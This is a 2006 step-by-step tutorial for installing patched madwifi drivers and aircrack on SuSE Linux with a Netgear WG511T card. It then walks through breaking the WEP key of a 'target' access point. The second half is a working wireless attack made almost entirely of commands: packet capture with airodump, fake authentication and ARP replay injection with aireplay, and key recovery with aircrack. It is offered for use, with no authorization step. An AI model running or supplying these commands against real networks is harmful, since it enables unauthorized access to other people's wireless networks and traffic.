['daiv 'egzit] | diveXit - Skydiving Community

The following steps describe the installation for a Netgear WG511T (atheros chipset) on SuSE Linux 9.3 and the necessary procedures to break a WEP-Key.

I'm using the following hardware:

   * Netgear WG511T (AR 5212)
   * Acer Travelmate 6004LCi

..and the following software:

   * SuSE Linux 9.3 (with KDE)
   * madwifi-cvs-20051025
   * aircrack 2.41

Packet and driver installation:

1. Completely u pdate your system via Yast (Software, Online-update). If a kernel-update is available make sure you update the kernel and reboot your system.
2. Install the following RPM's via Yast (Software, Installation/removal): "sharutils", "gcc", "make" and "kernel-source"
3. Reboot your system.
4. Update your system again via Yast (Online-update) to ensure that the kernel-source corresponds to your kernel and then reboot the system.
5. Switch off an already existing atheros interface:

   ifconfig ath0 down

6. Unload all old atheros modules:

   rmmod wlan_wep ath_rate_sample ath_rate_onoe ath_pci wlan ath_hal 2>/dev/null

7. Delete all old atheros modules:

   find /lib/modules -name 'ath*' -exec rm -v {} \; 2>/dev/null

   find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null

8. Change to an installation directory of your choice (e.g. /usr/src/):

   cd /usr/src/

9. Download the necessary sources:

   wget http://www.tuto-fr.com/tutoriaux/crack-wep/fichiers/wlan/linux/atheros/madwifi-cvs-20051025.tgz

   wget http://www.tuto-fr.com/tutoriaux/crack-wep/fichiers/wlan/linux/patches/madwifi-cvs-20051025.patch

   wget http://www.tuto-fr.com/tutoriaux/crack-wep/fichiers/wlan/aircrack/aircrack-2.41.tgz

10. Extract the sources and patch them:

    tar -xvzf madwifi-cvs-20051025.tgz

    cd madwifi-cvs-20051025

    patch -Np1 -i ../madwifi-cvs-20051025.patch

11. Check your kernel-version:

    uname -r

12. Compile the sources and install them. Substitute [VERSION] for the string you get via the "uname -r" command (e.g. if you get "2.6.11.4-21.11-default" by "uname -r" you enter "make KERNELRELEASE=2.6.11.4-21.11-default" respectively "make install KERNELRELEASE=2.6.11.4-21.11-default"):

    make KERNELRELEASE=[VERSION]

    make install KERNELRELEASE=[VERSION]

13. Extract the aircrack packet:

    cd..

    tar -xvzf aircrack-2.41.tgz

    cd aircrack-2.41

14. Compile aircrack:

    make

    make install

15. Reboot your system, insert the card and then load the new module with the following command:

    modprobe ath_pci

Breaking the WEP:

1. Enable monitor mode on your card (substitute [CHANNEL] for the channel-number of the target access-point):

   airmon.sh start ath0 [CHANNEL]

2. Capture packets of the target access point (substitute [PREFIX] for a filename of your choice and [CHANNEL] for the channel-number of the target access-point (e.g. "airodump ath0 dump 7"):

   airodump ath0 [PREFIX] [CHANNEL]

3. Open now another shell window and set the transmit rate to the recommended rate of 5.5 Mbps (you may have to vary the rate according to the distance to the target access point):

   iwconfig ath0 rate 5.5M

4. Initiate a fake authentication on the target access-point (substitute [ESSID] for the essid and [BSSID] for the MAC-address of the target access-point (e.g. "aireplay -1 0 -e airport -a 00:12:13:99:98:00 -h 00:11:22:33:44:55 ath0"):

   aireplay -1 0 -e [ESSID] -a [BSSID] -h 00:11:22:33:44:55 ath0

5. Start now to grab the necessary ARP packets to inject them to the target access-point (e.g. "aireplay -3 -b 00:12:13:99:98:00 -h 00:11:22:33:44:55 ath0"):

   aireplay -3 -b [BSSID] -h 00:11:22:33:44:55 ath0

6. Now you have to wait for a couple of seconds or even minutes till the data packets (IV's) start to fly in your airodump shell window.
7. If the network has a 40-bit encryption, you'll need about 200,000 data packets. If it has a 104-bit encryption, you'll need about 800,000-1,000,000 data packets. If you're not sure, you can always run aircrack on the airodump .cap file:

   aircrack [PREFIX].cap

Note:

The data packets (IV's) of my WG511T are rising with a rate of about 600-700 IV's per second.
Version 1.0 / April 18 2006

Author: Markus H.

wg511t, suse, wep, crack, it security

Last updated 22 December 2008 by darklevel